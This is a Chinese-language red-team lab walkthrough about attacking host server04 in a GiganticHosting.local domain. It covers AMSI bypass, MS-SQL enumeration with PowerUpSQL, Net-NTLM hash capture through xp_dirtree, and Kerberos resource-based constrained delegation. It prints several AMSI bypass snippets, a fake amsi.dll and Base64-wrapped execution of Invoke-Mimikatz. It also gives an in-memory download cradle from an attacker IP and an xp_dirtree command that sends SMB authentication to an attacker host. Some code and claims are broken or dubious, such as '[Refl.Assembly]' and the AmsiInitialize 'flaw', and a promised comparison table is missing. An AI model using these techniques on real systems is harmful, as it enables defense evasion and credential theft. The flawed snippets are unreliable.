1 绕过防御 AMSI
场景上下文:在获得
server04主机上用户s.helmer的上下文后,通过初步枚举,我们确认该主机是一台 MS-SQL Server 服务器。为了进行深入的攻击面评估和利用,需要使用如 PowerView 或 PowerUpSQL 等强大的 PowerShell 工具集。然而,在尝试加载这些工具时,会触发目标主机的防御机制,该防御机制在脚本交互层面表现为 AMSI。因此,首要任务是绕过 AMSI,为后续的枚举和攻击铺平道路。
1.1 AMSI 概念与原理
定义
AMSI (Antimalware Scan Interface),即反恶意软件扫描接口,是微软为增强 Windows 系统对恶意软件检测能力而开发的一种标准接口。
它并非一个独立的杀毒引擎,而是一个连接应用程序与反恶意软件引擎(如 Windows Defender 或第三方杀毒软件)的“桥梁”。
当应用程序(如 PowerShell、JavaScript/VBScript 运行环境、.NET 程序集等)将要执行一段内容(如脚本或命令)时,它会通过 AMSI 接口将这段内容发送给已注册的反恶意软件引擎进行实时扫描和分析。
核心工作机制
AMSI 不仅能检测静态文件,其核心优势在于能够扫描运行时的、内存中的内容,包括经过混淆、加密或动态生成的代码。这使得它能在代码执行的最后一刻发现潜在威胁,有效对抗传统的静态文件免杀技术。
绕过核心原理
绕过 AMSI 的本质是通过各种技术手段,规避、欺骗或破坏其正常的扫描流程,使恶意代码在提交给反恶意软件引擎之前就“看起来是无害的”,或者干脆阻止扫描的发生。
常见的绕过技术类别包括:
篡改函数调用:通过内存注入或 HOOK 技术,修改或重定向 AMSI 的核心扫描函数(如
AmsiScanBuffer),使其直接返回“安全”的结果。修改初始化状态:干预 AMSI 的初始化过程,例如修改其全局状态变量,使其认为自身初始化失败,从而跳过所有扫描。
代码混淆与分片:将恶意载荷通过编码(如 Base64)、加密、字符串拼接等方式进行处理,使其在静态检查阶段无法被识别为恶意代码,只有在执行时才在内存中还原。
禁用依赖模块:阻止 AMSI 的核心动态链接库(
amsi.dll)被加载,从根本上使其失效。利用已知漏洞:利用特定版本的 AMSI 或其依赖组件中存在的漏洞直接绕过。
1.2 AMSI 绕过与免杀技术的关系
归属关系:绕过 AMSI 属于免杀技术的一种。它的核心目标与免杀技术完全一致,即避免恶意代码被安全机制检测和拦截。
技术侧重点差异:
主流/传统免杀技术:更侧重于修改恶意软件的静态文件特征,如修改文件结构、加密代码段、加壳、混淆字符串、伪造签名等,其主要目标是规避基于文件指纹和静态特征库的扫描引擎。这通常需要对 C/C++/C# 等编译型语言和 PE 文件结构有深入的了解,技术门槛相对较高。
AMSI 绕过:更侧重于规避动态分析和运行时检测。它主要针对脚本语言(PowerShell、VBScript)和在内存中执行的代码。虽然技术手段不同,但本质都是通过干扰或规避安全检测逻辑来实现免杀。
在现代攻击中的地位:在高度依赖脚本和无文件攻击的现代红队行动中,AMSI 绕过已成为不可或缺的一环。如果无法绕过 AMSI,许多基于 PowerShell 的后渗透工具和框架将无法执行,因此 AMSI 绕过是现代免杀策略的重要组成部分。
1.3 AMSI 绕过的学习方法
学习 AMSI 绕过需要一个循序渐进的过程,结合理论与实践。单纯记忆代码片段无法应对多变的防御环境,理解底层原理才是关键。
第一步:夯实基础
理解 AMSI 工作原理:首先,通过阅读微软官方文档,深入理解 AMSI 的架构,了解
amsi.dll是如何与应用程序和杀毒引擎协作的。掌握 Windows 内存知识:学习 Windows 进程内存管理、动态链接库(DLL)的加载机制、全局变量的作用,以及 DEP(数据执行保护)和 ASLR(地址空间布局随机化)等内存保护机制。
学习编程技术:掌握至少一门能够进行底层操作的语言(如 C/C++ 或 C#)或脚本语言(Python),并熟悉 API 调用、反射机制、内存操作等编程技术。
第二步:初步实践与分析
分析现有技术:研究已公开的 AMSI 绕过代码和工具(例如
Amsi-Bypass-PowershellGitHub 仓库中的脚本),分析它们的攻击点和实现逻辑。使用调试工具:熟练使用调试器(如 x64dbg, WinDbg)和反编译工具(如 IDA Pro, Ghidra),对集成了 AMSI 的应用程序(如
powershell.exe)进行动态调试和静态分析,观察其接口调用和运行时行为,学习如何定位关键函数(如AmsiScanBuffer)和全局变量。
第三步:开发自己的绕过方法
从脚本层开始:尝试编写自己的绕过脚本,例如通过自定义的字符串混淆、编码(如 Base64)、动态拼接等方式,让恶意关键词在扫描时无法被直接匹配。
进入内存修改:实践通过 PowerShell 或 C# 调用 Windows API(如
VirtualProtect,WriteProcessMemory)来修改AmsiScanBuffer等函数的内存实现,强制其返回无害结果。尝试环境层面:通过修改注册表或组策略等方式,影响 AMSI 的初始化状态,从环境层面禁用它。
第四步:深入进阶
逆向核心组件:逆向分析
amsi.dll本身,寻找其内部逻辑中潜在的漏洞或设计缺陷,以设计更高级、更隐蔽的绕过方法。结合攻击链:将 AMSI 绕过技术与更复杂的攻击链相结合,例如在绕过后执行无文件载荷、规避 EDR(端点检测与响应)的行为分析和沙箱检测。
1.4 典型绕过方法详解
不同的绕过方法针对 AMSI 工作流的不同环节,其原理和实现差异显著。
1.4.1 修改内存内容
原理:这是一种直接且高效的方法,通过修改 AMSI 核心扫描函数在内存中的实现或其返回值,使其丧失扫描能力。
实现代码(C# in PowerShell):
class TrollAMSI { static int M(string c, string s) { return 1; } } $o = [Refl.Assembly].GetType('System.Management.Automation.AmsiUtils').GetMethod('ScanContent', 'NonPublic, Static') $t = [TrollAMSI].GetMethod('M') [System.Runtime.InteropServices.Marshal]::Copy( [System.Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr]::Add($t.MethodHandle.Value, 8)), 0, [IntPtr]::Add($o.MethodHandle.Value, 8), 1 )代码解析:
定义一个名为
TrollAMSI的自定义类,其中包含一个静态方法M,该方法无论输入什么,逻辑上始终返回1(在 AMSI 的上下文中,非AMSI_RESULT_DETECTED的值通常被视为无威胁)。通过
.NET反射技术获取到 PowerShell 内部用于调用 AMSI 的AmsiUtils类中的私有静态方法ScanContent的方法句柄。获取我们自定义的
TrollAMSI.M方法的句柄。使用
Marshal.Copy这一内存操作函数,将我们自定义方法M的内存地址(通过句柄和偏移量计算得出)强制覆盖到ScanContent方法的内存地址上。此后,当 PowerShell 尝试调用
ScanContent来扫描内容时,实际执行的是我们伪造的M方法,从而使得所有扫描结果都被篡改为安全状态。
1.4.2 DLL 劫持与替换
原理:通过替换 AMSI 的核心动态链接库
amsi.dll,从文件层面拦截或伪造 AMSI 的核心逻辑。这利用了 Windows 的 DLL 加载机制。实现代码(C++):
#include <windows.h> #include <stdio.h> HRESULT WINAPI AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) { return S_OK; // Always return success } HRESULT WINAPI AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) { *result = AMSI_RESULT_CLEAN; // Always mark as clean return S_OK; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { return TRUE; }代码解析:
这段 C++ 代码实现了一个伪造的
amsi.dll。它导出了与官方
amsi.dll相同的两个关键函数:AmsiInitialize和AmsiScanBuffer。AmsiInitialize总是返回成功,确保接口看起来正常初始化。核心在于
AmsiScanBuffer,它不执行任何扫描,而是直接将扫描结果*result强制设置为AMSI_RESULT_CLEAN(表示内容无威胁)。将这段代码编译成 DLL 文件后,通过某种方式(如 DLL 劫持或直接替换系统文件)让目标进程加载这个伪造的 DLL,即可实现对 AMSI 的完全绕过。
1.4.3 反射与动态加载
原理:利用 .NET 反射的强大能力,在运行时动态访问并修改 AMSI 相关类的内部私有成员(字段或属性),从而在逻辑层面禁用其核心功能。这种方法无需操作底层内存或文件,更为隐蔽。
反射技术简介:
反射是一种在程序运行时动态检查、访问和操作类型(类、接口)及其成员(方法、字段、属性)的技术。它允许代码在编译时不知道具体类型的情况下,在运行时进行动态加载和操作。
在安全领域,反射常被用于绕过访问限制(如调用
private私有方法或修改private私有字段),从而篡改程序的内部状态和关键逻辑。
实现代码(PowerShell):
$o = [Refl.Assembly].GetType('System.Management.Automation.AmsiUtils') $f = $o.GetField('amsiInitFailed', 'NonPublic, Static') $f.SetValue($null, $true)代码解析:
通过反射动态加载 PowerShell 内部的
System.Management.Automation.AmsiUtils类,该类包含了 AMSI 的实现细节。接着,定位到该类的一个私有、静态字段
amsiInitFailed。这是一个布尔值,用于标记 AMSI 是否已成功初始化。通过
SetValue方法,将这个私有字段的值强制设置为$true。这使得 AMSI 认为自身初始化失败,从而在后续的所有调用中完全跳过扫描逻辑。这种方法极其简单高效,且屡试不爽。
1.4.4 利用 AMSI 初始化缺陷
原理:AMSI 的初始化过程依赖于一个上下文(AmsiContext)的创建。如果能篡改初始化逻辑或伪造一个无效的上下文,就能直接禁用 AMSI 的功能。
实现代码(PowerShell):
$context = [IntPtr]::Zero [Windows.Amsi]::AmsiInitialize("FakeApp", [ref]$context)代码解析:通过伪造一个空的上下文
IntPtr::Zero来调用AmsiInitialize,使得 AMSI 的初始化逻辑失效,导致后续扫描不可用。这是利用了 AMSI 对上下文完整性校验的不足。
1.4.5 绕过字符串检测
原理:字符串检测是 AMSI 标记恶意代码的主要手段之一。通过动态拼接、编码(如 Base64)或其他混淆技术,可以避免在扫描时触发基于静态字符串的规则。
实现代码(PowerShell):
$payload = "Invoke-Mimikatz" $encodedPayload = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($payload)) IEX ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encodedPayload)))代码解析:首先将恶意命令
Invoke-Mimikatz进行 Base64 编码,在执行时再动态解码。这样,AMSI 在扫描初始脚本时只能看到一串无意义的 Base64 字符串,从而绕过了静态规则扫描。
1.4.6 使用合法调用伪装
原理:通过 PowerShell 的
Add-Type等功能动态编译和加载 C# 代码。由于恶意逻辑被封装在 C# 代码中,并且在运行时才被编译和执行,可以有效避免直接暴露恶意脚本内容给 AMSI 扫描。实现代码(PowerShell with C#):
Add-Type -TypeDefinition @" using System; public class Bypass { public static string Exec() { return "Malicious Code Executed"; } } "@ -Language CSharp [Bypass]::Exec()代码解析:使用
Add-Type动态编译了一段 C# 代码,定义了一个Bypass类和Exec方法。在 PowerShell 中直接调用[Bypass]::Exec()时,执行的是编译后的 .NET 代码,这可能不会触发 PowerShell 脚本引擎的 AMSI 扫描逻辑。
1.5 方法对比与成功率评估
以下是对各种绕过方法的先进性和大致成功率的一个评估,可作为选择策略时的参考。成功率受目标环境防御策略更新的影响,仅为一般性指导。
2 枚举目标应用 MS-SQL Server
在成功绕过 AMSI 之后,下一步是加载专门的工具对
server04上的 MS-SQL Server 实例进行深入的枚举和审计。
2.1 PowerUpSQL 工具集
工具简介
PowerUpSQL 是一个专为 SQL Server 设计的 PowerShell 安全审计和攻击工具集,由 NetSPI 的 Scott Sutherland 开发。
它集成了 SQL Server 实例发现、权限枚举、数据库攻击(SQL注入、后门)、数据提取、权限提升和持久化访问等一系列强大功能。
是红队操作和渗透测试中针对 SQL Server 的首选工具之一。
加载与使用
首先,需要将
PowerUpSQL.ps1脚本加载到当前的 PowerShell 会话中。通常通过远程下载并在内存中执行的方式进行,以避免文件落地。
Set-ExecutionPolicy Unrestricted Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.87/PowerUpSQL.ps1')加载后,可以使用
Get-ChildItem function:等命令来确认脚本中的所有函数已成功导入。
2.1.1 发现域内 SQL 实例
使用
Get-SQLInstanceDomain函数可以查询 Active Directory 中的服务主体名称 (SPN) 来发现在整个域中注册的所有 SQL Server 实例。命令示例:
Get-SQLInstanceDomain -Verbose输出解读:
输出结果可能会显示两个看似不同但指向同一台主机的实例,例如
sccm.GiganticHosting.local,1433和sccm.GiganticHosting.local。这并非两个独立的实例,而是为同一个实例注册的两个不同 SPN。带端口号的用于指定端口的 Kerberos 认证,不带端口号的用于默认实例的认证。
2.1.2 获取实例详细信息
使用
Get-SQLServerInfo可以获取指定 SQL Server 实例的详细配置信息。命令示例:
Get-SQLServerInfo -Verbose -Instance sccm.Gigantichosting.local输出关键信息:
ServiceAccount:LocalSystem(表示服务以高权限运行)AuthenticationMode:Windows AuthenticationSQLServerVersionNumber/SQLServerMajorVersion:14.0.1000.169/2017CurrentLogin: 当前 PowerShell 上下文连接到数据库的身份。IsSysadmin: 当前登录身份是否为sysadmin角色。
2.1.3 执行漏洞审计
Invoke-SQLAudit是 PowerUpSQL 的核心功能之一,可以自动化地对目标实例进行一系列安全检查。命令示例:
Invoke-SQLAudit -Verbose -Instance sccm.GiganticHosting.local审计发现的关键漏洞:
Excessive Privilege Trustworthy Database:发现数据库
CM_GH1被配置为可信 (is_trustworthy_on为True)。这意味着该数据库中的代码(如存储过程)可以访问实例外的资源,并可能以高权限执行,结合其他弱配置可能导致提权。Excessive Privilege Execute xp_dirtree:
Public角色默认拥有执行xp_dirtree扩展存储过程的权限。攻击者可利用此过程强制 SQL Server 服务账户向攻击者控制的 SMB 服务器进行身份验证,从而捕获或中继其 Net-NTLM 哈希。Excessive Privilege Execute xp_fileexist:与
xp_dirtree类似,xp_fileexist也可被Public角色执行,并用于触发 SMB 身份验证。Default/Weak Login Password:在对
SERVER04\RE7_MS实例的审计中,发现存在默认凭据Admin/Admin,虽然该用户不是sysadmin,但这仍是一个高风险的安全漏洞。
2.1.4 枚举数据库
在审计之后,可以进一步手动枚举数据库及其属性。
获取数据库列表 (排除默认库):
Get-SQLDatabase -NoDefaults直接执行 SQL 查询:
Get-SQLQuery -Verbose -Instance sccm.gigantichosting.local -Query "select name FROM sys.databases"
2.2 sqlcmd 命令行工具
工具简介
sqlcmd是微软官方提供的 SQL Server 命令行客户端工具,用于执行 T-SQL 语句、脚本和管理任务。作为系统原生工具,使用
sqlcmd进行操作通常比第三方脚本更隐蔽,免杀效果更好。
使用方法
sqlcmd -L: 列出网络上可发现的 SQL Server 实例。连接并执行查询:
sqlcmd -S servername\instancename -U username -P password -Q "SELECT * FROM myTable"-E参数使用 Windows 集成认证,无需提供用户名密码。
发现实例:
除了
sqlcmd -L,还可以通过 .NET 类System.Data.Sql.SqlDataSourceEnumerator来发现实例。
[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()
2.3 利用 xp_dirtree 捕获 Net-NTLM 哈希
扩展存储过程 (Extended Stored Procedure)
以
xp_开头的存储过程是 SQL Server 的扩展存储过程,它们通常是用 C/C++ 编写的 DLL,允许 SQL Server 执行操作系统级别的操作,如文件系统访问 (xp_dirtree) 或命令执行 (xp_cmdshell)。
攻击原理
利用
Invoke-SQLAudit发现的xp_dirtree公共执行权限,我们可以构造一条命令,强制 SQL Server 服务去访问一个不存在的 UNC 路径,该路径指向我们控制的 SMB 服务器。当 SQL Server 尝试访问该 UNC 路径时,其服务账户会向我们的服务器发送 Net-NTLMv2 哈希进行身份验证。
执行命令
在攻击机上启动
responder或impacket-ntlmrelayx等工具进行监听。在
server04的 PowerShell 会话中,使用sqlcmd执行以下命令,凭据为审计发现的Admin/Admin。
sqlcmd -S SERVER04\RE7_MS -U Admin -P Admin -Q "EXEC master.sys.xp_dirtree '\\[攻击机IP]\something';"执行后,攻击机将捕获到 SQL Server 服务账户的 Net-NTLMv2 哈希,可以进行离线破解或 NTLM 中继攻击。
3 基于资源的约束委派实现 NTLM 中继攻击
在获取了 SQL Server 服务账户的哈希并成功中继后,下一步的横向移动或权限提升将涉及到 Kerberos 委派,特别是基于资源的约束委派(RBCD)。
3.1 精确理解委派的概念
核心定义:委派 (Delegation) 是 Kerberos 协议中的一种机制,它允许一个服务(如 Web 服务器)以用户的身份去访问另一个服务(如数据库服务器)。
业务需求:在分布式系统中,委派是实现复杂业务流程和维持安全性的关键。
维持用户上下文:确保后端服务能识别出发起请求的原始用户身份,并据此进行权限判断。
简化权限管理:前端服务无需存储用户的敏感凭据,而是通过安全的 Kerberos 协议代理用户身份,符合最小权限原则。
支持完整工作流:使得一个服务可以代表用户调用链式的多个后端服务,完成一个完整的业务操作。
3.2 委派的三种类型
非约束委派 (Unconstrained Delegation)
机制:服务账户可以获取用户的 TGT (Ticket Granting Ticket) 副本,并使用该 TGT 以用户身份访问域内任意其他服务。
风险:如果该服务账户被攻破,攻击者可以窃取内存中的 TGT,从而冒充用户在域内横向移动。安全性较低。
约束委派 (Constrained Delegation)
机制:域管理员配置服务账户,明确指定该服务只能以用户身份访问一个预先定义好的目标服务列表(通过
msDS-AllowedToDelegateTo属性)。安全性:风险显著降低,因为滥用范围被严格限制。
基于资源的约束委派 (Resource-Based Constrained Delegation, RBCD)
机制:逻辑相反,由目标资源(如文件服务器)来配置,允许哪些服务账户可以代理用户来访问它自己(通过
msDS-AllowedToActOnBehalfOfOtherIdentity属性)。优势:配置权限下放给了资源所有者,无需域管理员权限,因此更加灵活,尤其适用于跨域场景。
3.3 如何查询和验证委派类型
查询非约束委派:
Get-ADComputer -Filter {TrustedForDelegation -eq $true}查询约束委派:
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_.msDS-AllowedToDelegateTo -ne $null}查询 RBCD:
Get-ADComputer -Identity <TargetService> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
3.4 RBCD 的利用流程
RBCD 的利用是一个两阶段的过程。
第一阶段:配置授权关系
攻击者需要找到一种方法来修改目标资源的
msDS-AllowedToActOnBehalfOfOtherIdentity属性,将一个我们控制的账户(可以是用户账户或机器账户)添加进去。实现这一步通常需要对目标资源拥有写入该属性的权限(如通用写入权限)。
第二阶段:代理访问目标服务
一旦授权关系建立,我们控制的服务账户就可以通过一个两步协议来获取访问目标资源的服务票据。
S4U2Self (Service-for-User-to-Self): 我们控制的服务账户首先向 KDC 请求一张指向自己的服务票据,但票据中的用户名是我们要模拟的目标用户。这一步是为了向 KDC 证明我们有权进行委派。
S4U2Proxy (Service-for-User-to-Proxy): 我们控制的服务账户拿着上一步获得的票据,再次向 KDC 请求一张指向目标资源的服务票据,票据中的用户名依然是目标用户。
最终,我们就可以使用这张票据,以目标用户的身份访问目标资源。
这种先
Self后Proxy的设计,确保了服务无法凭空伪造用户票据,增强了安全性。
4 更多枚举方向
在攻击过程中,不应将思路局限于单一路径。当前环境中还存在其他潜在的攻击面值得探索。
SCCM 服务器枚举:环境中存在一台 SCCM 服务器(
192.168.21.155),SCCM 作为企业级的配置管理中心,通常拥有极高的权限,可以向域内所有机器下发软件和执行命令,是一个非常有价值的攻击目标。缓存票据观察:在新的主机上下文中,应检查是否存在其他用户的 Kerberos 缓存票据(通过
klist等命令)。这些票据可能属于其他高权限用户,并可被用于 Pass-the-Ticket 攻击或利用其他类型的委派关系。
-.-
评论区